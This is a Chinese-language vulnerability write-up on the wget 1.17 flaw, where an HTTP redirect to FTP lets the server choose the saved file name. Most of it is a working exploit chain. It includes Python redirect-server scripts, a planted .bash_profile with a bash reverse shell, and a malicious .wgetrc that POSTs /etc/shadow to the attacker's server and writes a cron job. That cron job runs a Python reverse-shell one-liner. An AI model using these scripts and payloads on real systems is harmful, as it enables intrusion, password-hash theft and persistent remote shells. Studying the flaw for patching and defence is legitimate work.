wget 1.17 引发的任意命令执行漏洞
0x0 wget
wget 是一款 Linux 下常用下载工具,其支持 HTTP、HTTPS、FTP 等多种协议,同时也被移植到多个平台。
0x1 漏洞简述
此次漏洞主要是 wget 对 HTTP 重定向中 FTP 协议的处理问题,漏洞存在于 1.17 及以下版本。当 wget 检测到服务器返回 301 或 302 时,会自动重定向并下载目标文件。
例如下载一个文件:
wget http://localhost/wooyun.txt
请求过程如下:
GET /wooyun.txt HTTP/1.1
HTTP/1.1 302 Found
Server: Nginx
Date: Tue, 05 Jul 2016 05:25:10 GMT
Location: http://localhost/w00yun.txt
默认情况下,即使重定向中的文件名不同,下载文件仍让会被保存为 wooyun.txt,这也是用户所期望的。
但是当返回的 Location 中使用 FTP 协议:
GET /wooyun.txt HTTP/1.1
HTTP/1.1 302 Found
Server: Nginx
Date: Tue, 05 Jul 2016 05:25:10 GMT
Location: ftp://[email protected]:21/w00yun.txt
此时 wget 会下载该文件并将其保存为 w00yun.txt。即重定向路径使用 FTP 协议的情况下,文件名会更新为目标文件。这样,在某些环境与条件下便会引发攻击。
0x2 漏洞利用
对于这个特性,我们可以 “被动” 上传文件到目标服务器,读取服务器文件,执行任意命令。
首先我们搭建测试环境,pyftpdlib 模块可用于快速建立 FTP 服务器:
sudo pip install pyftpdlib
使用 Python 实现一个脚本,将请求重定向到 FTP 服务器,FTP 使用匿名用户登录:
import SimpleHTTPServer
import SocketServer
HTTP_HOST = '127.0.0.1'
HTTP_PORT = 8080
HTTP_REDIRECT_HOST = 'ftp://[email protected]:21'
HTTP_REDIRECT_FILE = '.bash_profile'
class RedirectServer(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', '%s/%s' % (HTTP_REDIRECT_HOST, HTTP_REDIRECT_FILE))
self.end_headers()
handler = SocketServer.TCPServer((HTTP_HOST, HTTP_PORT), RedirectServer)
handler.serve_forever()
0x3 基于环境变量脚本的命令执行
首先在 FTP 服务器根目录下新建 .bash_profile 文件:
bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
启动 FTP 服务:
sudo python -m pyftplib -p21 -w
启动 HTTP 服务脚本:
执行 wget 下载文件,请求被重定向到 FTP 服务器,之后环境变量脚本被下载到本地:
用户登录后,反弹回 shell:
0x4 使用 cron 定时炸弹
另一种是方式是写入文件到定时任务表,时间触发后,命令自动执行。
定时任务可以通过 cron 实现。cron 是 Linux 下的定时任务守护进程,任务表可存放于 /etc/cron.d 目录下。但是我们需要解决一个问题:wget 下载的文件如何指定到特定的目录?
首先我们来看 .wgetrc 。~/.wgetrc 用于配置 wget 执行时的动作,而配置中有这么一个字段:
output_document = /path/to/write
这个字段相当于指定 -O 选项,即将文件写入到特定路径。所以我们先将 .wgetrc 写到用户目录,二次下载时触发配置动作。
但是事实上这个环境还是有点难想象,所以我们假设目标主机上配置了自动更新,某个时间向特定主机请求新文件:
cat /etc/cron.d/update_can_lao_shi_movie_lst
* * * * * root wget -N http://localhost:8080/latest.lst > /dev/null 2>&1
而我们控制了更新服务器,首先我们编写一个 .wgetrc 文件:
# 让 wget 执行 POST 动作,顺便把密码取回来
post_file = /etc/shadow
# 写入自动任务
output_document = /etc/cron.d/reverse-shell
更新我们的服务脚本:
import SimpleHTTPServer
import SocketServer
HTTP_HOST = '127.0.0.1'
HTTP_PORT = 8080
HTTP_REDIRECT_HOST = 'ftp://[email protected]:21/'
HTTP_REDIRECT_FILE = '.wgetrc'
class RedirectServer(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', '%s/%s' % (HTTP_REDIRECT_HOST, HTTP_REDIRECT_FILE))
self.end_headers()
def do_POST(self):
' 显示获取的文件
req_len = int(self.headers.getheader('Content-Length', 0))
print self.rfile.read(req_len)
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
' Ubuntu 测试中 bash 反弹方式无法在 cron 下触发,所以使用 py 来实现
self.wfile.write("* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")
handler = SocketServer.TCPServer((HTTP_HOST, HTTP_PORT), RedirectServer)
handler.serve_forever()
纵观整个过程:
- 首先更新时间触发,客户端向服务器请求资源,重定向之后下载 .wgetrc 文件到本地用户目录。
- 接着,到下一个时间点,再次请求,此时 .wgetrc 配置了 post_file 和 output_document 参数,wget 会先将 /etc/shadow 文件 POST 到服务器,再把我们输出的任务表写入到 /etc/cron.d/reverse-shell。
- 最后,cron 在时间点触发 reverse-shell 文件,shell 反弹。
0x5 小记
另外还可写入 PHP Shell 之类的,当然姿势也挺多,大牛们当然有更绅士优雅的招式了 :)